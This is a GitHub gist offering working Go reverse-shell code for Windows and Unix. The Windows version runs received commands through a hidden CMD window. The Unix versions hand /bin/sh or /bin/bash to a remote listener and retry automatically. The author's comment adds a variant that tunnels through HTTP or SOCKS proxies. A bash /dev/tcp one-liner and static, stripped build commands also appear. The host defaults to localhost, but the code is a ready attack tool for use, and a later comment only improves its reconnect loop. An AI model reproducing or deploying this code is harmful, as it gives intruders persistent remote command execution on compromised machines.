Skip to content

Instantly share code, notes, and snippets.

@yougg
Forked from takeshixx/shell.go
Last active April 7, 2024 04:01
Show Gist options
  • Star 25 You must be signed in to star a gist
  • Fork 12 You must be signed in to fork a gist
  • Save yougg/b47f4910767a74fcfe1077d21568070e to your computer and use it in GitHub Desktop.
Save yougg/b47f4910767a74fcfe1077d21568070e to your computer and use it in GitHub Desktop.
Golang reverse shell
// +build windows
// Reverse Windows CMD
// Test with nc -lvvp 6666
package main
import (
"bufio"
"net"
"os/exec"
"syscall"
"time"
)
func main() {
reverse("127.0.0.1:6666")
}
func reverse(host string) {
c, err := net.Dial("tcp", host)
if nil != err {
if nil != c {
c.Close()
}
time.Sleep(time.Minute)
reverse(host)
}
r := bufio.NewReader(c)
for {
order, err := r.ReadString('\n')
if nil != err {
c.Close()
reverse(host)
return
}
cmd := exec.Command("cmd", "/C", order)
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
out, _ := cmd.CombinedOutput()
c.Write(out)
}
}
//go:generate sh -c "CGO_ENABLED=0 go build -installsuffix netgo -tags netgo -ldflags \"-s -w -extldflags '-static'\" -o $DOLLAR(basename ${GOFILE} .go)`go env GOEXE` ${GOFILE}"
// +build !windows
// Reverse Shell in Go
// http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
// Test with nc -lvvp 6666
package main
import (
"net"
"os/exec"
"time"
)
func main() {
reverse("127.0.0.1:6666")
}
// bash -i >& /dev/tcp/localhost/6666 0>&1
func reverse(host string) {
c, err := net.Dial("tcp", host)
if nil != err {
if nil != c {
c.Close()
}
time.Sleep(time.Minute)
reverse(host)
}
cmd := exec.Command("/bin/sh")
cmd.Stdin, cmd.Stdout, cmd.Stderr = c, c, c
cmd.Run()
c.Close()
reverse(host)
}
@yougg
Copy link
Author

yougg commented Aug 21, 2020

  • reverse shell over http/socks proxy
# set proxy before run reversesh
export ALL_PROXY=http://127.0.0.1:8080
#export ALL_PROXY=socks5://127.0.0.1:1080
//go:generate sh -c "CGO_ENABLED=0 go build -trimpath -buildmode pie -installsuffix netgo -tags \"osusergo netgo static_build\" -ldflags \"-s -w -extldflags '-static'\" -o $DOLLAR(basename ${GOFILE} .go)`go env GOEXE` ${GOFILE}"
// +build !windows

// Test with nc -lvvp 6666
package main

import (
	"bufio"
	"crypto/tls"
	"flag"
	"fmt"
	"math/rand"
	"net"
	"net/http"
	"net/url"
	"os/exec"
	"time"

	"golang.org/x/net/proxy"
)

var (
	host  = flag.String("h", "127.0.0.1:6666", "host")
	retry = flag.Bool("r", true, "retry")
)

func init() {
	proxy.RegisterDialerType("http", newHTTPProxy)
	proxy.RegisterDialerType("https", newHTTPProxy)

	rand.Seed(time.Now().UnixNano())
}

// httpsDialer
type httpsDialer struct{}

// HTTPSDialer is a https proxy: one that makes network connections on tls.
var HttpsDialer = httpsDialer{}
var TlsConfig = &tls.Config{}

func (d httpsDialer) Dial(network, addr string) (c net.Conn, err error) {
	c, err = tls.Dial("tcp", addr, TlsConfig)
	if err != nil {
		fmt.Println(err)
	}
	return
}

// httpProxy is a HTTP/HTTPS connect proxy.
type httpProxy struct {
	host     string
	haveAuth bool
	username string
	password string
	forward  proxy.Dialer
}

func newHTTPProxy(u *url.URL, forward proxy.Dialer) (proxy.Dialer, error) {
	s := new(httpProxy)
	s.host = u.Host
	s.forward = forward
	if u.User != nil {
		s.haveAuth = true
		s.username = u.User.Username()
		s.password, _ = u.User.Password()
	}

	return s, nil
}

func (s *httpProxy) Dial(network, addr string) (net.Conn, error) {
	// Dial and create the https client connection.
	c, err := s.forward.Dial("tcp", s.host)
	if err != nil {
		return nil, err
	}

	// HACK. http.ReadRequest also does this.
	reqURL, err := url.Parse("http://" + addr)
	if err != nil {
		c.Close()
		return nil, err
	}
	reqURL.Scheme = ""

	req, err := http.NewRequest(http.MethodConnect, reqURL.String(), nil)
	if err != nil {
		c.Close()
		return nil, err
	}
	req.Close = false
	if s.haveAuth {
		req.SetBasicAuth(s.username, s.password)
	}

	err = req.Write(c)
	if err != nil {
		c.Close()
		return nil, err
	}

	resp, err := http.ReadResponse(bufio.NewReader(c), req)
	if err != nil {
		c.Close()
		return nil, err
	}
	resp.Body.Close()
	if resp.StatusCode != http.StatusOK {
		c.Close()
		err = fmt.Errorf("connect server using proxy error, status code [%d]", resp.StatusCode)
		return nil, err
	}

	return c, nil
}

func main() {
	for {
		reversesh(*host)
		if !*retry {
			break
		}
	}
}

// bash -i >& /dev/tcp/localhost/6666 0>&1
func reversesh(host string) {
	dialer := proxy.FromEnvironment()
	c, err := dialer.Dial("tcp", host)
	if nil != err {
		fmt.Println("dial", err)
		if nil != c {
			c.Close()
		}
		time.Sleep(time.Duration(100+rand.Intn(100)) * time.Second)
	}

	cmd := exec.Command("/bin/bash")
	cmd.Stdin, cmd.Stdout, cmd.Stderr = c, c, c
	err = cmd.Run()
	if err != nil {
		fmt.Println(err)
	}
	c.Close()
}

@Zeg0
Copy link

Zeg0 commented Nov 11, 2022

Line 34 in reversesh.go uses infinite recursion reverse(host). This will eventually put enough function calls on the stack to crash the program because it has to many pointers. (the program keeps pointers where to go back once the function is done, which never happens and floods the stacktrace someday)
better remove that line and just wrap everything inside the reverse-function in a regular infinite for-loop like this:

func reverse(host string) {
	for {
		c, err := net.Dial("tcp", host)
		if nil != err {
			if nil != c {
				c.Close()
			}
			time.Sleep(time.Minute)
			reverse(host)
		}

		cmd := exec.Command("/bin/sh")
		cmd.Stdin, cmd.Stdout, cmd.Stderr = c, c, c
		cmd.Run()
		c.Close()
	}
}

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment